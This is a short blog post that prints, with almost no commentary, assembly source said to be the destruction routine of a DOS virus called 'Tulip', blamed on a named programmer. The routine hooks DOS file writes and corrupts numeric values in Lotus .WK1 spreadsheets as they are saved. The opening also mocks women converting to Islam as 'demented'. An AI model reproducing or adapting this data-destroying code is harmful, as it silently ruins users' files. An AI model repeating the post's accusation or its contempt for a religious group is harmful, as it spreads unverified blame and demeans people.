Norway’s Destructive Programmers

Here we go again. Seeing the demented “Daughters of Norway” converting to islam reminded me that I have family of my own who have wandered into the very dark spaces.  So, again dinging Norman’s senior programmer’s virus Tulip.  This one targeted files from Lotus, and this is the detruction routine.

 

;————————————————————————–
; INT 21-FUNC 40 : DAMAGE *.WK1 ON SAVE;
; 0E00 0D00 DENOTES IEEE LONG REAL; 80X87 DOUBLE PRECISION FLOP
; (C) Lotus Development Corporation
;————————————————————————–

Control_Write:
CMP BYTE PTR CS:[DI-2],80H
JB Out16
CALL GetSFT
CMP WORD PTR ES:[DI.SFTE_FileExtension],’KW’
JNZ Out16
CMP BYTE PTR ES:[DI.SFTE_FileExtension+2],’1′
JNZ Out16
PUSH DS
POP ES
MOV DI,DX
Cont:
MOV AX,000EH
Scanit:
DEC DI
SCASW
LOOPNE Scanit
OR CX,CX
JZ Out16
DEC AX
SCASW
JNZ Cont
ADD DI,8
MOVSW
MOVSW
JMP SHORT Cont


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: